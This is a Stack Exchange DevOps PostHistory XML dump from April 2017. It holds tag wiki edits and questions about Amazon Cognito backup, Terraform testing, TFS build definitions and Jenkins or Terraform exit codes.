  <row Id="2757" PostHistoryTypeId="1" PostId="861" RevisionGUID="420bc68c-50f4-45b7-87ea-95ebadad913c" CreationDate="2017-04-12T12:31:27.167" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2758" PostHistoryTypeId="5" PostId="851" RevisionGUID="68d746f1-6efe-47b8-997e-f4fed59fe7e6" CreationDate="2017-04-12T12:32:52.557" UserId="1059" Comment="Fixed Grammer" Text="By default Jenkins assumes whether the build is `SUCCESS` or not from build process exit code.&#xD;&#xA;&#xD;&#xA;Which means that build exit with `code 0` considered as SUCCESS, rest all are considered as FAILURE.&#xD;&#xA;&#xD;&#xA;If your build step/process exit with `code 0`, even during the failure case then Jenkins will report the build is `SUCCESS`.&#xD;&#xA;&#xD;&#xA;So I my suggestion is to run the all build steps manually and try to get the exit code on each step (for both PASS and FAIL case)." ContentLicense="CC BY-SA 3.0" />
  <row Id="2759" PostHistoryTypeId="5" PostId="854" RevisionGUID="e093ec4e-a459-4182-acc1-d2f2525e30ec" CreationDate="2017-04-12T12:51:21.017" UserId="397" Comment="added 548 characters in body" Text="Automation is a key skill in the &quot;DevOps Toolkit&quot; by automating a process we are able to:&#xD;&#xA;&#xD;&#xA; - Increase throughput&#xD;&#xA; - [Decrease toil][1]&#xD;&#xA; - Reduce the incidence of errors&#xD;&#xA;&#xD;&#xA;Automation is a part of DevOps [but it is not the full story][2]; when we automate a process we make it reliable and repeatable and thus we can run the process regularly.&#xD;&#xA;&#xD;&#xA;  [1]: https://medium.com/production-ready/toil-a-word-every-engineer-should-know-f0b676e41c86&#xD;&#xA;  [2]: http://devops.stackexchange.com/questions/3/whats-the-difference-between-devops-and-automation" ContentLicense="CC BY-SA 3.0" />
  <row Id="2760" PostHistoryTypeId="24" PostId="854" RevisionGUID="e093ec4e-a459-4182-acc1-d2f2525e30ec" CreationDate="2017-04-12T12:51:21.017" Comment="Proposed by 397 approved by 40, 228 edit id of 238" ContentLicense="CC BY-SA 3.0" />
  <row Id="2761" PostHistoryTypeId="5" PostId="855" RevisionGUID="92e8e5c0-9e05-4133-a710-d98eeac1391a" CreationDate="2017-04-12T12:51:25.460" UserId="397" Comment="added 221 characters in body" Text="Automation is the process of building or integrating software that takes a manual or laborious task and brings it under machine control, thus reducing labour.  Use this tag to describe questions that are about automation." ContentLicense="CC BY-SA 3.0" />
  <row Id="2762" PostHistoryTypeId="24" PostId="855" RevisionGUID="92e8e5c0-9e05-4133-a710-d98eeac1391a" CreationDate="2017-04-12T12:51:25.460" Comment="Proposed by 397 approved by 40, 228 edit id of 239" ContentLicense="CC BY-SA 3.0" />
  <row Id="2763" PostHistoryTypeId="5" PostId="861" RevisionGUID="ea560fac-807b-4013-8fff-a0c3e9c85861" CreationDate="2017-04-12T12:51:35.963" UserId="397" Comment="added 177 characters in body" Text="Windows is the brand name for a series of operating systems from Microsoft.  Use this tag to describe questions about DevOps tools and practices on the Windows Operating System." ContentLicense="CC BY-SA 3.0" />
  <row Id="2764" PostHistoryTypeId="24" PostId="861" RevisionGUID="ea560fac-807b-4013-8fff-a0c3e9c85861" CreationDate="2017-04-12T12:51:35.963" Comment="Proposed by 397 approved by 40, 228 edit id of 245" ContentLicense="CC BY-SA 3.0" />
  <row Id="2765" PostHistoryTypeId="5" PostId="857" RevisionGUID="9b8e0930-b25d-4d4e-a45c-8f8f99ab5ad0" CreationDate="2017-04-12T12:51:46.877" UserId="397" Comment="added 240 characters in body" Text="AWS Lambda is part of Amazon Web Services (AWS).  Lambda is a serverless platform allowing developers to write functions which are scaled, monitored and managed by Amazon.  Use this tag to describe questions which use Lambda or Lambda@Edge." ContentLicense="CC BY-SA 3.0" />
  <row Id="2766" PostHistoryTypeId="24" PostId="857" RevisionGUID="9b8e0930-b25d-4d4e-a45c-8f8f99ab5ad0" CreationDate="2017-04-12T12:51:46.877" Comment="Proposed by 397 approved by 40, 228 edit id of 241" ContentLicense="CC BY-SA 3.0" />
  <row Id="2767" PostHistoryTypeId="5" PostId="858" RevisionGUID="5e5bce3a-e33a-4aa0-b286-948932ed01df" CreationDate="2017-04-12T12:51:58.143" UserId="397" Comment="added 1569 characters in body" Text="GNU/Linux is a UNIX-like Open Source operating system.  [Linus Torvalds][1] originally wrote the Linux kernel with contributions from others on the MINIX Usenet board.  Since then, Linux had thousands of developers, both paid by companies and volunteers.  The primary system tools and libraries sourced from [GNU Project][2], hence the nomenclature GNU/Linux (GNU Toolchain over Linux Kernel). The license for the Linux kernel the [GPL v2][3] license.&#xD;&#xA;&#xD;&#xA;There are many different [Linux Distributions][4] (sometimes shortened to *distro*), which consist of software applications packaged and provided with the Linux kernel, being[Slackware][5] the oldest active distro and [Debian][6], [Red Hat][7] and [CentOS][8] among the most used on Internet servers[¹][9].&#xD;&#xA;&#xD;&#xA;The Linux kernel is commonly run on servers but is highly portable and used in a variety of applications, from wireless routers and cell phones to clusters and supercomputers with thousands of nodes and processors.&#xD;&#xA;&#xD;&#xA;##Further Reading:&#xD;&#xA; - [Wikipedia on Linux][10]&#xD;&#xA; - [Linux Tag on Server Fault][11] &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Linus_Torvalds&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/GNU_Project&#xD;&#xA;  [3]: http://www.gnu.org/licenses/gpl-2.0.html&#xD;&#xA;  [4]: http://en.wikipedia.org/wiki/Linux_distributions&#xD;&#xA;  [5]: http://www.slackware.com&#xD;&#xA;  [6]: http://debian.org&#xD;&#xA;  [7]: http://www.redhat.com&#xD;&#xA;  [8]: http://www.centos.org/&#xD;&#xA;  [9]: http://w3techs.com/technologies/history_details/os-linux/all/y&#xD;&#xA;  [10]: https://en.wikipedia.org/wiki/Linux&#xD;&#xA;  [11]: http://serverfault.com/questions/tagged/linux" ContentLicense="CC BY-SA 3.0" />
  <row Id="2768" PostHistoryTypeId="24" PostId="858" RevisionGUID="5e5bce3a-e33a-4aa0-b286-948932ed01df" CreationDate="2017-04-12T12:51:58.143" Comment="Proposed by 397 approved by 40, 228 edit id of 242" ContentLicense="CC BY-SA 3.0" />
  <row Id="2769" PostHistoryTypeId="5" PostId="859" RevisionGUID="5ce0eaef-7b45-4565-84c7-bd37ae26f30e" CreationDate="2017-04-12T12:52:25.767" UserId="397" Comment="added 192 characters in body" Text="Linux is the generic term for a UNIX-like open source operating system based on the Linux kernel.  Use this tag for questions about DevOps practices, processes and tools in Linux environments." ContentLicense="CC BY-SA 3.0" />
  <row Id="2770" PostHistoryTypeId="24" PostId="859" RevisionGUID="5ce0eaef-7b45-4565-84c7-bd37ae26f30e" CreationDate="2017-04-12T12:52:25.767" Comment="Proposed by 397 approved by 40, 228 edit id of 243" ContentLicense="CC BY-SA 3.0" />
  <row Id="2771" PostHistoryTypeId="5" PostId="856" RevisionGUID="a202930b-8a87-4227-a39e-de3b2664c943" CreationDate="2017-04-12T12:52:33.080" UserId="397" Comment="added 695 characters in body" Text="[AWS Lambda][1] is part of Amazon Web Services (AWS).  Lambda is a [serverless][2] platform allowing developers to write functions which are scaled, monitored and managed by Amazon.  Use this tag to describe questions which use Lambda or [Lambda@Edge][3].&#xD;&#xA;&#xD;&#xA;## Further Reading&#xD;&#xA;&#xD;&#xA; - [AWS Lambda Documentation][4]&#xD;&#xA; - [Book: Aws Lambda in Action by Danilo Poccia][5]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://aws.amazon.com/lambda/&#xD;&#xA;  [2]: http://devops.stackexchange.com/questions/61/what-is-serverless&#xD;&#xA;  [3]: http://docs.aws.amazon.com/lambda/latest/dg/lambda-edge.html&#xD;&#xA;  [4]: http://docs.aws.amazon.com/lambda/latest/dg/welcome.html&#xD;&#xA;  [5]: https://www.amazon.co.uk/Aws-Lambda-Action-Danilo-Poccia/dp/1617293717/" ContentLicense="CC BY-SA 3.0" />
  <row Id="2772" PostHistoryTypeId="24" PostId="856" RevisionGUID="a202930b-8a87-4227-a39e-de3b2664c943" CreationDate="2017-04-12T12:52:33.080" Comment="Proposed by 397 approved by 40, 228 edit id of 240" ContentLicense="CC BY-SA 3.0" />
  <row Id="2773" PostHistoryTypeId="5" PostId="860" RevisionGUID="3e3a9beb-d7ad-4364-a469-eff51e807686" CreationDate="2017-04-12T13:14:16.277" UserId="397" Comment="added 651 characters in body" Text="[Windows][1] is a family of operating systems developed by [Microsoft][2].  Originally a graphical add-on for Microsoft DOS, Windows is a common choice for commercial and private operating system users.&#xD;&#xA;&#xD;&#xA;Today there are several branches of Windows:&#xD;&#xA;&#xD;&#xA; - Windows for desktops, notebooks, netbooks, and tablets&#xD;&#xA; - Windows Server, for servers&#xD;&#xA; - Windows Embedded Compact, for embedded devices&#xD;&#xA; - Windows Phone, for smartphones&#xD;&#xA;&#xD;&#xA;DevOps on Windows is often referred to as &quot;[WinOps][3]&quot;, a portmanteau of &quot;Windows&quot; and &quot;DevOps&quot;.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.microsoft.com/&#xD;&#xA;  [2]: http://windows.microsoft.com/&#xD;&#xA;  [3]: https://en.wikipedia.org/wiki/WinOps" ContentLicense="CC BY-SA 3.0" />
  <row Id="2774" PostHistoryTypeId="24" PostId="860" RevisionGUID="3e3a9beb-d7ad-4364-a469-eff51e807686" CreationDate="2017-04-12T13:14:16.277" Comment="Proposed by 397 approved by 40, 228 edit id of 244" ContentLicense="CC BY-SA 3.0" />
  <row Id="2775" PostHistoryTypeId="2" PostId="862" RevisionGUID="e1330cd4-7470-4e09-9c8f-c21083ea45a8" CreationDate="2017-04-12T13:21:40.983" UserId="397" Text="[Amazon Cognito][1] is a user management and authentication service provided by Amazon through Amazon Web Services:&#xD;&#xA;&#xD;&#xA;&gt; Amazon Cognito lets you easily add user sign-up and sign-in to your mobile and web apps. With Amazon Cognito, you also have the options to authenticate users through social identity providers such as Facebook, Twitter, or Amazon, with SAML identity solutions, or by using your own identity system. In addition, Amazon Cognito enables you to save data locally on users devices, allowing your applications to work even when the devices are offline. You can then synchronize data across users devices so that their app experience remains consistent regardless of the device they use.&#xD;&#xA;&#xD;&#xA;What you are effectively doing is storing your customer data in a closed system hosted by Amazon.  If you are a company, such as a social network, who's data represents a significant asset within your organisation how to you ensure that this data is protected from:&#xD;&#xA;&#xD;&#xA; - Amazon Cognito being shut down unexpectedly, i.e. at request from a law enforcement or government agency.&#xD;&#xA; - Your access keys being compromised and some or all records being corrupted.&#xD;&#xA; - The relationship between your organisation and Amazon breaking down to the point Amazon withdraws all services with immediate effect.&#xD;&#xA;&#xD;&#xA;Amazon Cognito is a huge benefit to organisations and developers as it takes a particularly hard piece of software and makes it easy to implement; from an service operability perspective, we need to find ways to mitigate, remediate or accept risks to the companies assets at all times.&#xD;&#xA;&#xD;&#xA;  [1]: https://aws.amazon.com/cognito/" ContentLicense="CC BY-SA 3.0" />
  <row Id="2776" PostHistoryTypeId="1" PostId="862" RevisionGUID="e1330cd4-7470-4e09-9c8f-c21083ea45a8" CreationDate="2017-04-12T13:21:40.983" UserId="397" Text="How to backup Amazon Cogneto?" ContentLicense="CC BY-SA 3.0" />
  <row Id="2777" PostHistoryTypeId="3" PostId="862" RevisionGUID="e1330cd4-7470-4e09-9c8f-c21083ea45a8" CreationDate="2017-04-12T13:21:40.983" UserId="397" Text="&lt;amazon-web-services&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2778" PostHistoryTypeId="2" PostId="863" RevisionGUID="4555dbeb-37ce-4b4c-a9cf-bd0736000b83" CreationDate="2017-04-12T13:34:40.713" UserId="397" Text="If you had a [Teraform][1] configuration that had a moderate degree of complexity, how do you write tests around the configuration that could be executed as part of a Continuous Integration / Continuous Delivery pipeline?&#xD;&#xA;&#xD;&#xA;As an example, you may have a multi-cloud configuration that specifies the following desired state:&#xD;&#xA;&#xD;&#xA; - Azure Container Services to host Docker in Azure&#xD;&#xA; - Azure Blob Storage&#xD;&#xA; - SQL Azure&#xD;&#xA; - EC2 Container Service to host Docker in AWS&#xD;&#xA; - Amazon S3 Storage Service&#xD;&#xA; - Amazon RDS SQL Server database&#xD;&#xA;&#xD;&#xA;Potentially `terraform apply` could create the above from scratch, or transition from a partially deployed state to the above desired state.&#xD;&#xA;&#xD;&#xA;I am aware that Terraform splits its work into the **execution plan** stage and the **application** phase which actually makes changes to the target architecture.  Can this be used to write tests against the execution plan, if so are there frameworks to help write these?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.terraform.io/" ContentLicense="CC BY-SA 3.0" />
  <row Id="2779" PostHistoryTypeId="1" PostId="863" RevisionGUID="4555dbeb-37ce-4b4c-a9cf-bd0736000b83" CreationDate="2017-04-12T13:34:40.713" UserId="397" Text="How to test a Terraform Configuration?" ContentLicense="CC BY-SA 3.0" />
  <row Id="2780" PostHistoryTypeId="3" PostId="863" RevisionGUID="4555dbeb-37ce-4b4c-a9cf-bd0736000b83" CreationDate="2017-04-12T13:34:40.713" UserId="397" Text="&lt;testing&gt;&lt;terraform&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2781" PostHistoryTypeId="5" PostId="862" RevisionGUID="9cff8091-4dfe-422a-b287-187139a3a45d" CreationDate="2017-04-12T13:48:06.027" UserId="46" Comment="deleted 1 character in body; edited title" Text="[Amazon Cognito][1] is a user management and authentication service provided by Amazon through Amazon Web Services:&#xD;&#xA;&#xD;&#xA;&gt; Amazon Cognito lets you easily add user sign-up and sign-in to your mobile and web apps. With Amazon Cognito, you also have the options to authenticate users through social identity providers such as Facebook, Twitter, or Amazon, with SAML identity solutions, or by using your own identity system. In addition, Amazon Cognito enables you to save data locally on users devices, allowing your applications to work even when the devices are offline. You can then synchronise data across users devices so that their app experience remains consistent regardless of the device they use.&#xD;&#xA;&#xD;&#xA;What you are effectively doing is storing your customer data in a closed system hosted by Amazon.  If you are a company, such as a social network, who's data represents a significant asset within your organisation how to you ensure that this data is protected from:&#xD;&#xA;&#xD;&#xA; - Amazon Cognito being shut down unexpectedly, i.e. at request from a law enforcement or government agency.&#xD;&#xA; - Your access keys being compromised and some or all records being corrupted.&#xD;&#xA; - The relationship between your organisation and Amazon breaking down to the point Amazon withdraws all services with immediate effect.&#xD;&#xA;&#xD;&#xA;Amazon Cognito is a huge benefit to organisations and developers as it takes a particularly hard piece of software and makes it easy to implement; from a service operability perspective, we need to find ways to mitigate, remediate or accept risks to the companies assets at all times.&#xD;&#xA;&#xD;&#xA;  [1]: https://aws.amazon.com/cognito/" ContentLicense="CC BY-SA 3.0" />
  <row Id="2782" PostHistoryTypeId="4" PostId="862" RevisionGUID="9cff8091-4dfe-422a-b287-187139a3a45d" CreationDate="2017-04-12T13:48:06.027" UserId="46" Comment="deleted 1 character in body; edited title" Text="How to backup Amazon Cognito?" ContentLicense="CC BY-SA 3.0" />
  <row Id="2784" PostHistoryTypeId="2" PostId="864" RevisionGUID="83d06fc0-de62-4b64-867a-2734abd8c458" CreationDate="2017-04-12T15:21:22.173" UserId="72" Text="I've seen some custom settings files used in combination with TFS build, but nothing native.  Does Team Foundation Server or Visual Studio Team Services have a Jenkinsfile-like, declarative method for defining a build process?" ContentLicense="CC BY-SA 3.0" />
  <row Id="2785" PostHistoryTypeId="1" PostId="864" RevisionGUID="83d06fc0-de62-4b64-867a-2734abd8c458" CreationDate="2017-04-12T15:21:22.173" UserId="72" Text="Does TFS Build have something like a Jenkinsfile?" ContentLicense="CC BY-SA 3.0" />
  <row Id="2786" PostHistoryTypeId="3" PostId="864" RevisionGUID="83d06fc0-de62-4b64-867a-2734abd8c458" CreationDate="2017-04-12T15:21:22.173" UserId="72" Text="&lt;jenkins&gt;&lt;tfs&gt;&lt;jenkinsfile&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2787" PostHistoryTypeId="2" PostId="865" RevisionGUID="71599a7e-85ba-47e4-bd5b-4cc332ef8258" CreationDate="2017-04-12T16:14:18.883" UserId="397" Text="The strict answer is no, in that there is no direct equivalent to a [`Jenkinsfile`][1]. However, there are [Build Process Templates][2] and you can use the [Psake Build Automation][3] tool in combination with templates to reduce the barriers to entry for creating a new build, test and deployment build definitions.&#xD;&#xA;&#xD;&#xA;It is nowhere near as fluid as [Jenkins' Pipelines as Code][1], [AppVeyor's `appveyor.yml`][4], [CircleCI's `circleci.yml`][5] and [Travis' `.travis.yml`][5].  There is a wealth of information on the [ALM Rangers Library of tooling and guidance solutions.][6]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://jenkins.io/doc/book/pipeline/jenkinsfile/&#xD;&#xA;  [2]: https://www.visualstudio.com/en-us/docs/work/customize/update-customized-process-template&#xD;&#xA;  [3]: https://github.com/psake/psake&#xD;&#xA;  [4]: https://www.google.co.uk/search?q=appveyor.yml&amp;rlz=1C1CHBF_en-GBGB714GB714&amp;oq=appveyor.yml&amp;aqs=chrome.0.0l6.2689j0j1&amp;sourceid=chrome&amp;ie=UTF-8&#xD;&#xA;  [5]: https://circleci.com/docs/1.0/configuration/&#xD;&#xA;  [6]: https://blogs.msdn.microsoft.com/visualstudioalmrangers/2015/04/22/library-of-tooling-and-guidance-solutions-aka-msvsarsolutions/" ContentLicense="CC BY-SA 3.0" />
  <row Id="2790" PostHistoryTypeId="2" PostId="866" RevisionGUID="9ce96c81-9967-4b1c-8204-45010c1e5e14" CreationDate="2017-04-12T17:22:00.973" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="2791" PostHistoryTypeId="1" PostId="866" RevisionGUID="9ce96c81-9967-4b1c-8204-45010c1e5e14" CreationDate="2017-04-12T17:22:00.973" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2792" PostHistoryTypeId="2" PostId="867" RevisionGUID="6b90f551-e696-42b4-b302-b63fa30a7689" CreationDate="2017-04-12T17:22:00.973" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="2793" PostHistoryTypeId="1" PostId="867" RevisionGUID="6b90f551-e696-42b4-b302-b63fa30a7689" CreationDate="2017-04-12T17:22:00.973" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2794" PostHistoryTypeId="2" PostId="868" RevisionGUID="69892fe1-9503-45b8-abc6-2dabded75f56" CreationDate="2017-04-12T17:31:35.083" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="2795" PostHistoryTypeId="1" PostId="868" RevisionGUID="69892fe1-9503-45b8-abc6-2dabded75f56" CreationDate="2017-04-12T17:31:35.083" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2796" PostHistoryTypeId="2" PostId="869" RevisionGUID="0e4a15dc-66dd-46bf-908f-fdf23bb7c6d1" CreationDate="2017-04-12T17:31:35.083" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="2797" PostHistoryTypeId="1" PostId="869" RevisionGUID="0e4a15dc-66dd-46bf-908f-fdf23bb7c6d1" CreationDate="2017-04-12T17:31:35.083" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2801" PostHistoryTypeId="5" PostId="869" RevisionGUID="73ee1cac-7a05-4e00-b1c6-28a8f3944522" CreationDate="2017-04-12T18:00:39.867" UserId="397" Comment="added 292 characters in body" Text="A release or releasing is the act of making features or bug fixes available for consumption.  A release is not necessarily the same as a deployment, with the latter being the promotion of code into an environment, feature flags or toggles may be used to hide new functionality from consumers." ContentLicense="CC BY-SA 3.0" />
  <row Id="2802" PostHistoryTypeId="24" PostId="869" RevisionGUID="73ee1cac-7a05-4e00-b1c6-28a8f3944522" CreationDate="2017-04-12T18:00:39.867" Comment="Proposed by 397 approved by 228, 40 edit id of 249" ContentLicense="CC BY-SA 3.0" />
  <row Id="2803" PostHistoryTypeId="5" PostId="866" RevisionGUID="88e67002-5f4c-4c23-9562-d1a289f1ce50" CreationDate="2017-04-12T18:00:44.900" UserId="397" Comment="added 992 characters in body" Text="Before posting a question about Software Quality Assurance and testing, consider if it would be more appropriate on [Software Quality Assurance Stack Exchange][1].&#xD;&#xA;&#xD;&#xA;From [Wikipedia][2]:&#xD;&#xA;&#xD;&#xA;&gt; **Software testing** is an investigation conducted to provide developers and stakeholders with information about the quality of the product or service under test. Software testing can also provide an objective, independent view of the software to allow the business to appreciate and understand the risks of software implementation. &#xD;&#xA;&#xD;&#xA;## Further Reading&#xD;&#xA;&#xD;&#xA; - [Agile software development][3]&#xD;&#xA; - [Test-driven development][4]&#xD;&#xA; - [Book: Test Driven Infrastructure with Chef][5]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://sqa.stackexchange.com/&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Software_testing&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/Agile_software_development&#xD;&#xA;  [4]: http://en.wikipedia.org/wiki/Test-driven_development&#xD;&#xA;  [5]: https://www.amazon.co.uk/Test-Driven-Infrastructure-Chef-Stephen-Nelson-Smith/dp/1449304818" ContentLicense="CC BY-SA 3.0" />
  <row Id="2804" PostHistoryTypeId="24" PostId="866" RevisionGUID="88e67002-5f4c-4c23-9562-d1a289f1ce50" CreationDate="2017-04-12T18:00:44.900" Comment="Proposed by 397 approved by 228, 40 edit id of 246" ContentLicense="CC BY-SA 3.0" />
  <row Id="2805" PostHistoryTypeId="5" PostId="867" RevisionGUID="662023e7-ef0d-4fe2-adc3-fca30e7b45ef" CreationDate="2017-04-12T18:00:48.040" UserId="397" Comment="added 270 characters in body" Text="Software testing is any activity aimed at evaluating an attribute or capability of a program or system and determining that it meets its required results.  Use this tag on questions that talk about the testing of systems or software that would be on-topic for this site." ContentLicense="CC BY-SA 3.0" />
  <row Id="2806" PostHistoryTypeId="24" PostId="867" RevisionGUID="662023e7-ef0d-4fe2-adc3-fca30e7b45ef" CreationDate="2017-04-12T18:00:48.040" Comment="Proposed by 397 approved by 228, 40 edit id of 247" ContentLicense="CC BY-SA 3.0" />
  <row Id="2807" PostHistoryTypeId="5" PostId="868" RevisionGUID="35ce0b6e-8cbc-46a6-8250-ce6fc2b11a74" CreationDate="2017-04-12T18:00:50.853" UserId="397" Comment="added 639 characters in body" Text="&quot;A release&quot; or simply releasing is the act of making features or bug fixes available for consumption.  A release is not necessarily the same as a deployment, with the latter being the promotion of code into an environment, feature flags or toggles may be used to hide new functionality from consumers.&#xD;&#xA;&#xD;&#xA;## Further Reading&#xD;&#xA;&#xD;&#xA;Other mechanism for splitting release from deployment:&#xD;&#xA;&#xD;&#xA; - [Blue-Green Deployment Pattern][1]&#xD;&#xA; - [Canary Release Pattern][2]&#xD;&#xA;&#xD;&#xA;Related Tags:&#xD;&#xA;&#xD;&#xA;[tag:release-management] [tag:bluegreen]&#xD;&#xA;&#xD;&#xA;  [1]: https://martinfowler.com/bliki/BlueGreenDeployment.html&#xD;&#xA;  [2]: https://martinfowler.com/bliki/CanaryRelease.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="2808" PostHistoryTypeId="24" PostId="868" RevisionGUID="35ce0b6e-8cbc-46a6-8250-ce6fc2b11a74" CreationDate="2017-04-12T18:00:50.853" Comment="Proposed by 397 approved by 228, 40 edit id of 248" ContentLicense="CC BY-SA 3.0" />
  <row Id="2809" PostHistoryTypeId="2" PostId="871" RevisionGUID="6111043a-b596-45f2-978d-42defc72fa6f" CreationDate="2017-04-12T18:55:28.297" UserId="2291" Text="I'm using Terraform as part of a Jenkins Pipeline. When `terraform apply` encounters an error, it does not return a non-zero exit code. When running into a problem on Jenkins, it does not stop the pipeline or mark the build as FAILURE.&#xD;&#xA;&#xD;&#xA;If terraform encounters an error, I need the job to stop and not progress. &#xD;&#xA;&#xD;&#xA;Looking at the [docs for `apply`](https://www.terraform.io/docs/commands/apply.html), it doesn't look like I can provide a flag to return helpful exit codes. The [docs for `plan`](https://www.terraform.io/docs/commands/plan.html) has a `-detailed-exitcode` flag, but doesn't look like that'll help me." ContentLicense="CC BY-SA 3.0" />
  <row Id="2810" PostHistoryTypeId="1" PostId="871" RevisionGUID="6111043a-b596-45f2-978d-42defc72fa6f" CreationDate="2017-04-12T18:55:28.297" UserId="2291" Text="Terraform apply exit code on error" ContentLicense="CC BY-SA 3.0" />
  <row Id="2811" PostHistoryTypeId="3" PostId="871" RevisionGUID="6111043a-b596-45f2-978d-42defc72fa6f" CreationDate="2017-04-12T18:55:28.297" UserId="2291" Text="&lt;jenkins&gt;&lt;terraform&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2815" PostHistoryTypeId="2" PostId="872" RevisionGUID="560566ff-6cfd-47d0-acd4-76a96daa141f" CreationDate="2017-04-12T20:39:12.163" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="2816" PostHistoryTypeId="1" PostId="872" RevisionGUID="560566ff-6cfd-47d0-acd4-76a96daa141f" CreationDate="2017-04-12T20:39:12.163" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2817" PostHistoryTypeId="2" PostId="873" RevisionGUID="8f1f0da4-3fe8-4c04-8cc2-ec7cd31ef64a" CreationDate="2017-04-12T20:39:12.163" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="2818" PostHistoryTypeId="1" PostId="873" RevisionGUID="8f1f0da4-3fe8-4c04-8cc2-ec7cd31ef64a" CreationDate="2017-04-12T20:39:12.163" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2819" PostHistoryTypeId="2" PostId="874" RevisionGUID="404051bd-23e3-402b-ab40-b11effec6582" CreationDate="2017-04-12T20:41:35.930" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="2820" PostHistoryTypeId="1" PostId="874" RevisionGUID="404051bd-23e3-402b-ab40-b11effec6582" CreationDate="2017-04-12T20:41:35.930" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2821" PostHistoryTypeId="2" PostId="875" RevisionGUID="94199801-e8ae-40ce-a0df-4e3d65755deb" CreationDate="2017-04-12T20:41:35.930" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="2822" PostHistoryTypeId="1" PostId="875" RevisionGUID="94199801-e8ae-40ce-a0df-4e3d65755deb" CreationDate="2017-04-12T20:41:35.930" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2823" PostHistoryTypeId="2" PostId="876" RevisionGUID="0fe4019f-4361-4443-aa5d-8bc50b5270ac" CreationDate="2017-04-12T20:49:43.497" UserId="2291" Text="Turns out this was not a real issue. My apologies. At the end of that shell script, it did an echo which is what was returning the non-zero status code. After I took that out, it worked as expected." ContentLicense="CC BY-SA 3.0" />
  <row Id="2824" PostHistoryTypeId="2" PostId="877" RevisionGUID="fe9f0434-40cc-4b49-a223-46273303582b" CreationDate="2017-04-12T20:51:13.093" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="2825" PostHistoryTypeId="1" PostId="877" RevisionGUID="fe9f0434-40cc-4b49-a223-46273303582b" CreationDate="2017-04-12T20:51:13.093" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2826" PostHistoryTypeId="2" PostId="878" RevisionGUID="986e9f66-02ad-45e3-9aa2-7a72ae75a8bf" CreationDate="2017-04-12T20:51:13.093" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="2827" PostHistoryTypeId="1" PostId="878" RevisionGUID="986e9f66-02ad-45e3-9aa2-7a72ae75a8bf" CreationDate="2017-04-12T20:51:13.093" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2828" PostHistoryTypeId="2" PostId="879" RevisionGUID="25903a06-d75e-4050-a31d-9b4271f745ac" CreationDate="2017-04-12T20:58:38.070" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="2829" PostHistoryTypeId="1" PostId="879" RevisionGUID="25903a06-d75e-4050-a31d-9b4271f745ac" CreationDate="2017-04-12T20:58:38.070" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2830" PostHistoryTypeId="2" PostId="880" RevisionGUID="27143c66-6bd3-433d-931f-65ec95a3e210" CreationDate="2017-04-12T20:58:38.070" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="2831" PostHistoryTypeId="1" PostId="880" RevisionGUID="27143c66-6bd3-433d-931f-65ec95a3e210" CreationDate="2017-04-12T20:58:38.070" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2833" PostHistoryTypeId="5" PostId="879" RevisionGUID="d5af2ba1-98bd-4dfb-9728-cd3c4b277829" CreationDate="2017-04-12T21:40:17.620" UserId="397" Comment="added 724 characters in body" Text="Autoscaling is the capability of a system to increase capacity to support increased load, and to decrease capacity to reduce costs subsequently.  Use this tag to describe questions that discuss autoscale, plastic-scale or elastic-scale.&#xD;&#xA;&#xD;&#xA;There are two types of auto-scaling:&#xD;&#xA;&#xD;&#xA; - **Elastic Scale** - the capability of a system to dynamically scale out parts of the system that are under a higher load.  Engineers configure Autoscaling Rules based upon instrumentation of the system.&#xD;&#xA;&#xD;&#xA; - **Plastic Scale** - the capability of a system to scale up and down based upon a schedule, generally this scheduled is configured the system owners in response to an expected peak demand at certain times of day, week, month or year." ContentLicense="CC BY-SA 3.0" />
  <row Id="2834" PostHistoryTypeId="24" PostId="879" RevisionGUID="d5af2ba1-98bd-4dfb-9728-cd3c4b277829" CreationDate="2017-04-12T21:40:17.620" Comment="Proposed by 397 approved by 72 edit id of 257" ContentLicense="CC BY-SA 3.0" />
